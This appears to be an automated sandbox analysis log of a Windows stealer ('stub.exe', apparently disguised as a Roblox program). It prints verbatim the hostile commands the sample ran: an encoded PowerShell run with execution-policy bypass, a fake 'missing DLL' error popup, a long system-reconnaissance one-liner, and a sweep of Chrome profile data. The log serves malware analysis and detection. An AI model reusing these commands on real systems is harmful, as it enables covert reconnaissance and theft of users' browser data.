Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand wwbsaguazgbsaguaywb0agkabwbuac4aqqbzahmazqbtagiabab5af0aoga6aewabwbhagqavwbpahqaaabqageacgb0agkayqbsae4ayqbtaguakaaiafmaeqbzahqazqbtac4arabyageadwbpag4azwaiackadqakagyadqbuagmadabpag8abgagahmaywbyaguazqbuahmaaabvahqakabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdacqaygbvahuabgbkahmalaagacqacabhahqaaaapacaaewanaaoaiaagacaajabiag0acaagad0aiaboaguadwatae8aygbqaguaywb0acaarabyageadwbpag4azwauaeiaaqb0ag0ayqbwacaajabiag8adqbuagqacwauahcaaqbkahqaaaasacaajabiag8adqbuagqacwauaggazqbpagcaaab0aa0acgagacaaiaakagcacgbhahaaaabpagmacwagad0aiabbaeqacgbhahcaaqbuagcalgbhahiayqbwaggaaqbjahmaxqa6adoargbyag8abqbjag0ayqbnaguakaakagiabqbwackadqakaa0acgagacaaiaakagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoacqaygbvahuabgbkahmalgbmag8aywbhahqaaqbvag4alaagafsarabyageadwbpag4azwauafaabwbpag4adabdadoaogbfag0acab0ahkalaagacqaygbvahuabgbkahmalgbzagkaegblackadqakaa0acgagacaaiaakagiabqbwac4auwbhahyazqaoacqacabhahqaaaapaa0acganaaoaiaagacaajabnahiayqbwaggaaqbjahmalgbeagkacwbwag8acwblacgakqanaaoaiaagacaajabiag0acaauaeqaaqbzahaabwbzaguakaapaa0acgb9aa0acganaaoajabiag8adqbuagqacwagad0aiabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdadoaogbgahiabwbtaewavabsaeiakaawacwaiaawacwaiaaxadkamgawacwaiaaxadaaoaawackadqakacqacabhahqaaaagad0aiaaoaecazqb0ac0asqb0aguabqagac4akqauaeyadqbsagwatgbhag0azqaraciaxabzagmacgblaguabgbzaggabwb0ac4acabuagcaiganaaoacwbjahiazqblag4acwboag8adaagacqaygbvahuabgbkahmaiaakahaayqb0agga"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand wwbsaguazgbsaguaywb0agkabwbuac4aqqbzahmazqbtagiabab5af0aoga6aewabwbhagqavwbpahqaaabqageacgb0agkayqbsae4ayqbtaguakaaiafmaeqbzahqazqbtac4arabyageadwbpag4azwaiackadqakagyadqbuagmadabpag8abgagahmaywbyaguazqbuahmaaabvahqakabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdacqaygbvahuabgbkahmalaagacqacabhahqaaaapacaaewanaaoaiaagacaajabiag0acaagad0aiaboaguadwatae8aygbqaguaywb0acaarabyageadwbpag4azwauaeiaaqb0ag0ayqbwacaajabiag8adqbuagqacwauahcaaqbkahqaaaasacaajabiag8adqbuagqacwauaggazqbpagcaaab0aa0acgagacaaiaakagcacgbhahaaaabpagmacwagad0aiabbaeqacgbhahcaaqbuagcalgbhahiayqbwaggaaqbjahmaxqa6adoargbyag8abqbjag0ayqbnaguakaakagiabqbwackadqakaa0acgagacaaiaakagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoacqaygbvahuabgbkahmalgbmag8aywbhahqaaqbvag4alaagafsarabyageadwbpag4azwauafaabwbpag4adabdadoaogbfag0acab0ahkalaagacqaygbvahuabgbkahmalgbzagkaegblackadqakaa0acgagacaaiaakagiabqbwac4auwbhahyazqaoacqacabhahqaaaapaa0acganaaoaiaagacaajabnahiayqbwaggaaqbjahmalgbeagkacwbwag8acwblacgakqanaaoaiaagacaajabiag0acaauaeqaaqbzahaabwbzaguakaapaa0acgb9aa0acganaaoajabiag8adqbuagqacwagad0aiabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdadoaogbgahiabwbtaewavabsaeiakaawacwaiaawacwaiaaxadkamgawacwaiaaxadaaoaawackadqakacqacabhahqaaaagad0aiaaoaecazqb0ac0asqb0aguabqagac4akqauaeyadqbsagwatgbhag0azqaraciaxabzagmacgblaguabgbzaggabwb0ac4acabuagcaiganaaoacwbjahiazqblag4acwboag8adaagacqaygbvahuabgbkahmaiaakahaayqb0agga
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "echo ####system info#### & systeminfo & echo ####system version#### & ver & echo ####host name#### & hostname & echo ####environment variable#### & set & echo ####logical disk#### & wmic logicaldisk get caption,description,providername & echo ####user info#### & net user & echo ####online user#### & query user & echo ####local group#### & net localgroup & echo ####administrators info#### & net localgroup administrators & echo ####guest user info#### & net user guest & echo ####administrator user info#### & net user administrator & echo ####startup info#### & wmic startup get caption,command & echo ####tasklist#### & tasklist /svc & echo ####ipconfig#### & ipconfig/all & echo ####hosts#### & type c:\windows\system32\drivers\etc\hosts & echo ####route table#### & route print & echo ####arp info#### & arp -a & echo ####netstat#### & netstat -ano & echo ####service info#### & sc query type= service state= all & echo ####firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand wwbsaguazgbsaguaywb0agkabwbuac4aqqbzahmazqbtagiabab5af0aoga6aewabwbhagqavwbpahqaaabqageacgb0agkayqbsae4ayqbtaguakaaiafmaeqbzahqazqbtac4arabyageadwbpag4azwaiackadqakagyadqbuagmadabpag8abgagahmaywbyaguazqbuahmaaabvahqakabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdacqaygbvahuabgbkahmalaagacqacabhahqaaaapacaaewanaaoaiaagacaajabiag0acaagad0aiaboaguadwatae8aygbqaguaywb0acaarabyageadwbpag4azwauaeiaaqb0ag0ayqbwacaajabiag8adqbuagqacwauahcaaqbkahqaaaasacaajabiag8adqbuagqacwauaggazqbpagcaaab0aa0acgagacaaiaakagcacgbhahaaaabpagmacwagad0aiabbaeqacgbhahcaaqbuagcalgbhahiayqbwaggaaqbjahmaxqa6adoargbyag8abqbjag0ayqbnaguakaakagiabqbwackadqakaa0acgagacaaiaakagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoacqaygbvahuabgbkahmalgbmag8aywbhahqaaqbvag4alaagafsarabyageadwbpag4azwauafaabwbpag4adabdadoaogbfag0acab0ahkalaagacqaygbvahuabgbkahmalgbzagkaegblackadqakaa0acgagacaaiaakagiabqbwac4auwbhahyazqaoacqacabhahqaaaapaa0acganaaoaiaagacaajabnahiayqbwaggaaqbjahmalgbeagkacwbwag8acwblacgakqanaaoaiaagacaajabiag0acaauaeqaaqbzahaabwbzaguakaapaa0acgb9aa0acganaaoajabiag8adqbuagqacwagad0aiabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdadoaogbgahiabwbtaewavabsaeiakaawacwaiaawacwaiaaxadkamgawacwaiaaxadaaoaawackadqakacqacabhahqaaaagad0aiaaoaecazqb0ac0asqb0aguabqagac4akqauaeyadqbsagwatgbhag0azqaraciaxabzagmacgblaguabgbzaggabwb0ac4acabuagcaiganaaoacwbjahiazqblag4acwboag8adaagacqaygbvahuabgbkahmaiaakahaayqb0agga"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand wwbsaguazgbsaguaywb0agkabwbuac4aqqbzahmazqbtagiabab5af0aoga6aewabwbhagqavwbpahqaaabqageacgb0agkayqbsae4ayqbtaguakaaiafmaeqbzahqazqbtac4arabyageadwbpag4azwaiackadqakagyadqbuagmadabpag8abgagahmaywbyaguazqbuahmaaabvahqakabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdacqaygbvahuabgbkahmalaagacqacabhahqaaaapacaaewanaaoaiaagacaajabiag0acaagad0aiaboaguadwatae8aygbqaguaywb0acaarabyageadwbpag4azwauaeiaaqb0ag0ayqbwacaajabiag8adqbuagqacwauahcaaqbkahqaaaasacaajabiag8adqbuagqacwauaggazqbpagcaaab0aa0acgagacaaiaakagcacgbhahaaaabpagmacwagad0aiabbaeqacgbhahcaaqbuagcalgbhahiayqbwaggaaqbjahmaxqa6adoargbyag8abqbjag0ayqbnaguakaakagiabqbwackadqakaa0acgagacaaiaakagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoacqaygbvahuabgbkahmalgbmag8aywbhahqaaqbvag4alaagafsarabyageadwbpag4azwauafaabwbpag4adabdadoaogbfag0acab0ahkalaagacqaygbvahuabgbkahmalgbzagkaegblackadqakaa0acgagacaaiaakagiabqbwac4auwbhahyazqaoacqacabhahqaaaapaa0acganaaoaiaagacaajabnahiayqbwaggaaqbjahmalgbeagkacwbwag8acwblacgakqanaaoaiaagacaajabiag0acaauaeqaaqbzahaabwbzaguakaapaa0acgb9aa0acganaaoajabiag8adqbuagqacwagad0aiabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdadoaogbgahiabwbtaewavabsaeiakaawacwaiaawacwaiaaxadkamgawacwaiaaxadaaoaawackadqakacqacabhahqaaaagad0aiaaoaecazqb0ac0asqb0aguabqagac4akqauaeyadqbsagwatgbhag0azqaraciaxabzagmacgblaguabgbzaggabwb0ac4acabuagcaiganaaoacwbjahiazqblag4acwboag8adaagacqaygbvahuabgbkahmaiaakahaayqb0agga

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\multidict VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\multidict VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\multidict VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\Desktop\roblox1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\Desktop\roblox1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\Desktop\roblox1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\6f463e7a-ef1f-4e71-ae85-88471a72b3d6 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ca VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\da VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_GB VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_US VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\et VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fil VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fr VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hu VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\1dcaa933-a69d-41cc-acb5-708980d119e5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\697416b8-55c0-41ac-9636-a06aa38f99e9 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\84b89d2b-fec7-4b59-87f2-603dcfbd43dd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data VolumeInformation	Jump to behavior
